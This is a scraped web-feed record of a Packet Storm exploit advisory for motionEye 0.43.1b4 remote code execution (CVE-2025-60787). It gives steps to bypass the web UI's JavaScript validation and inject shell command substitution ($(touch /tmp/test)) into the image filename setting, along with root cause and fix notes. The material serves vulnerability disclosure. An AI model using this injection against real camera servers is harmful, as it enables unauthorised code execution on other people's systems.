{“lastseen”:”2026-02-11T17:49:20″,”description”:”Client-side validation in motionEye’s web UI can be bypassed via overriding the JS validation function. Arbitrary values including shell interpolation syntax can be saved into the motion config. When motion is restarted, the motion process interprets…”,”published”:”2026-02-11T00:00:00″,”modified”:”2026-02-11T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 motionEye 0.43.1b4 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:215369″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-60787″],”sourceData”:”# Exploit Title: motionEye 0.43.1b4 – RCE \\n # Exploit PoC: motionEye RCE via client-side validation bypass (safe PoC)\\n # Filename: motioneye_rce_poc_edb.txt\\n # Author: prabhatverma47\\n # Date tested: 2025-05-14 (original test); prepared for submission: 2025-10-11\\n # Affected Versions: motionEye \\u003c= 0.43.1b4\\n # Tested on: Debian host running Docker; motionEye image ghcr.io\/motioneye-project\/motioneye:edge\\n # CVE(s) \/ References: MITRE\/OSV advisories referenced: CVE-2025-60787 \\n #\\n # Short description:\\n # Client-side validation in motionEye’s web UI can be bypassed via overriding the JS validation\\n # function. Arbitrary values (including shell interpolation syntax) can be saved into the\\n # motion config. When motion is restarted, the motion process interprets the config and\\n # can execute shell syntax embedded inside configuration values such as \\”image_file_name\\”.\\n #\\n # Safe PoC: creates a harmless file \/tmp\/test inside container (non-destructive).\\n #\\n # Environment setup:\\n # 1) Start the motionEye docker image:\\n # docker run -d –name motioneye -p 9999:8765 ghcr.io\/motioneye-project\/motioneye:edge\\n #\\n # 2) Verify version in logs:\\n # docker logs motioneye | grep \\”motionEye server\\”\\n # Expect: 0.43.1b4 (or \\u003c= 0.43.1b4 for vulnerable)\\n #\\n # 3) Access web UI:\\n # Open http:\/\/127.0.0.1:9999\\n # Login: admin (blank password in default\/edge image)\\n #\\n # Reproduction (manual + safe PoC):\\n # A) Bypass client-side validation in browser console:\\n # 1) Open browser devtools on the dashboard (F12 \/ Ctrl+Shift+I).\\n # 2) In the Console tab paste and run:\\n #\\n # configUiValid = function() { return true; };\\n #\\n # This forces the UI validation function to always return true and allows any value\\n # to be accepted by the UI forms.\\n #\\n # B) Safe payload (paste this into Settings \u2192 Still Images \u2192 Image File Name and Apply):\\n # $(touch \/tmp\/test).%Y-%m-%d-%H-%M-%S\\n #\\n # After applying, the PoC triggers creation of \/tmp\/test inside the motionEye container\\n # (the \\”touch\\” is executed when motion re-reads the config \/ motionctl restarts).\\n #\\n # C) Verify from host:\\n # docker exec -it motioneye ls -la \/tmp | grep test\\n #\\n # Expected result:\\n # \/tmp\/test exists (created with the permissions of the motion process).\\n #\\n # Notes \/ root cause:\\n # – UI stores un-sanitized values into camera-*.conf (e.g., picture_filename),\\n # which are later parsed by motion and interpreted as filenames \u2013 shell meta is executed.\\n # – Fix: sanitize\/whitelist filename characters (example sanitization provided in README).\\n #\\n # References:\\n # – Original PoC \\u0026 writeup: https:\/\/github.com\/prabhatverma47\/motionEye-RCE-through-config-parameter\\n # – motionEye upstream: https:\/\/github.com\/motioneye-project\/motioneye\\n # – OSV\/GHSA advisories referencing this issue (published May\u2013Oct 2025)\\n # – NVD entries: CVE-2025-60787″,”sourceHref”:”https:\/\/packetstorm.news\/download\/215369″,”cvss”:{“score”:7.2,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215369\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-11T17:49:20″,”description”:”Client-side validation in motionEye’s web UI can be bypassed via overriding the JS validation function. Arbitrary values including shell interpolation syntax can be saved into…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,39,12,15,13,53,7,11,5],"class_list":["post-40487","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-72","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n